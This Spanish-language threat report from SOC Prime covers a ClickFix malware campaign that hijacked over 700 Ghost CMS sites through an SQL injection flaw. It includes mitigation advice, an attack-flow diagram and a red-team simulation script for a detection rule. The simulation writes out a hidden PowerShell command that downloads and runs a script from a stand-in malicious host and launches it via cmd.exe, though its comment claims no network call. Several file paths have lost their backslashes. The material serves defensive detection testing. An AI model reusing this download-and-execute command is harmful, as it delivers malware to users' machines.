SOC Prime Bias: Crítico

29 May 2026 07:08 UTC

Más de 700 sitios web de educación y tecnología secuestrados en una gran campaña de malware ClickFix

Author Photo
SOC Prime Team linkedin icon Seguir
Más de 700 sitios web de educación y tecnología secuestrados en una gran campaña de malware ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Los atacantes explotaron una vulnerabilidad crítica de inyección SQL en el sistema de gestión de contenido Ghost para comprometer más de 700 sitios web de educación y tecnología. Después de obtener llaves de API administrativas, inyectaron JavaScript malicioso que mostraba un falso mensaje de verificación de Cloudflare. La página falsa indicaba a los visitantes que copiaran y pegaran un comando de Windows que instalaba malware en sus sistemas. La campaña depende de la ingeniería social para engañar a los usuarios y que ellos mismos ejecuten la carga útil.

Investigación

Los investigadores identificaron el problema como CVE-2026-26980, afectando a las versiones de Ghost 3.24.0 hasta 6.19.0. La explotación exitosa permitía el acceso no autenticado al contenido de la base de datos, incluyendo la extracción de la llave de API del administrador. Los atacantes luego usaron la llave robada para alterar el contenido del sitio e incrustar scripts maliciosos que lanzaron el flujo de infección estilo ClickFix. El código inyectado presentaba una ventana de verificación falsa que instaba a los usuarios a ejecutar un comando a través de Windows Run o PowerShell.

Mitigación

Las organizaciones deberían actualizar Ghost a una versión posterior a 6.19.0 que corrige CVE-2026-26980. Cualquier llave de API administrativa expuesta debería ser rotada inmediatamente, y el acceso a la API debería restringirse estrictamente. Los defensores también deberían desplegar protección de endpoints con filtrado web o protección de navegador y entrenar a los usuarios a nunca copiar y ejecutar comandos de sitios web no confiables.

Respuesta

Los equipos de seguridad deberían detectar y bloquear inyecciones de JavaScript maliciosas en sitios web basados en Ghost y monitorear páginas de verificación falsa de Cloudflare. En los endpoints, los defensores deberían buscar intentos inusuales de ejecución de comandos relacionados con este señuelo. Si se confirma el compromiso, elimine los scripts inyectados, restablezca las llaves de API afectadas y realice un análisis forense en los sistemas cliente impactados.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Acción</b> – <b>T1674 Inyección de Entrada</b>: Explotar la inyección SQL de Ghost CMS para leer la base de datos y obtener la llave de API del Administrador."] class action_sql_injection action action_content_injection["<b>Acción</b> – <b>T1659 Inyección de Contenido</b>: Usar la llave de API robada para inyectar JavaScript malicioso en las páginas del sitio."] class action_content_injection action action_defacement["<b>Acción</b> – <b>T1491 Desfiguración</b>: Desfigurar el sitio con un cuadro de diálogo falso de verificación de Cloudflare que muestra un comando para copiar-y-pegar."] class action_defacement action action_user_copy_paste["<b>Acción</b> – <b>T1204.004 Ejecución del Usuario</b>: La víctima copia y ejecuta el comando mostrado, satisfaciendo la verificación falsa."] class action_user_copy_paste action action_powershell["<b>Acción</b> – <b>T1059.001 PowerShell</b>: El comando lanza PowerShell, que descarga y ejecuta la carga útil de segunda etapa."] class action_powershell action malware_clickfix["<b>Malware</b>: ClickFix<br/><b>Propósito</b>: Carga útil de segunda etapa entregada a través de PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|lleva_a| action_content_injection action_content_injection –>|lleva_a| action_defacement action_defacement –>|lleva_a| action_user_copy_paste action_user_copy_paste –>|activa| op_user_execution op_user_execution –>|ejecuta| action_powershell action_powershell –>|descarga| malware_clickfix "

Flujo de Ataque

Ejecución de Simulación

Requisito Previo: La Verificación Previa de Telemetría & Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:

    1. Señuelo de Ingeniería Social: La víctima recibe un correo de suplantación que afirma que Cloudflare requiere verificación. El correo incluye un comando “Ejecutar”:

      Comando de Verificación Falsa de Cloudflare
    2. Interacción de la Víctima: El usuario abre el diálogo Ejecutar de Windows (Win+R) y pega la cadena exacta Comando de Verificación Falsa de Cloudflare.

    3. Ejecución de Comando: La cadena se asigna a un comando de PowerShell oculto que descarga y ejecuta una carga maliciosa:

      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"

      Debido a que el diálogo Ejecutar invoca directamente powershell.exe con los argumentos anteriores, el CampoCommandLine registrado por Sysmon incluye la frase literal Comando de Verificación Falsa de Cloudflare (el atacante antecede el comando con esa frase para activar la regla).

    4. Actividad de la Carga Útil: El script descargado deja un web-shell en C:ProgramDatacloudflare y contacta un servidor C2, cumpliendo con T1505.001.

  • Script de Prueba de Regresión: El siguiente script de PowerShell reproduce los pasos exactos que un equipo rojo tomaría para generar la telemetría que activa la detección.

    <#
    Simula la ejecución del “Fake Cloudflare Verification” de ClickFix.
    Propósito: Verificar que la regla Sigma se active en la línea de comando exacta.
    #>
    
    # Paso 1: Preparar una carga útil falsa (web-shell simulado) – sin llamada a red real.
    $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
    New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
    Set-Content -Path $payloadPath -Value "# Web-shell falso – sin código malicioso"
    
    # Paso 2: Construir la línea de comandos maliciosa que ejecutaría una víctima.
    $maliciousCmd = @"
    Comando de Verificación Falsa de Cloudflare
    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
    "@
    
    # Paso 3: Simular el diálogo Ejecutar lanzando el comando vía cmd.exe /c.
    # Esto preserva la cadena literal en la línea de comandos del proceso.
    $fullCmd = "cmd.exe /c `"$maliciousCmd`""
    Write-Host "`n[+] Ejecutando comando malicioso simulado..."
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null
    
    # Paso 4: Pausar brevemente para permitir que Sysmon registre la creación del proceso.
    Start-Sleep -Seconds 5
    
    Write-Host "`n[+] Simulación completa. Verifique SIEM para un evento de detección."
    # La limpieza se realizará por separado.
  • Comandos de Limpieza: Eliminar los archivos falsos y cualquier proceso persistente.

    # Detener cualquier proceso persistent de PowerShell iniciado por la prueba (si todavía está ejecutando)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "Comando de Verificación Falsa de Cloudflare"} |
        Stop-Process -Force
    
    # Eliminar la carpeta del web-shell falso
    Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "[+] Limpieza completada."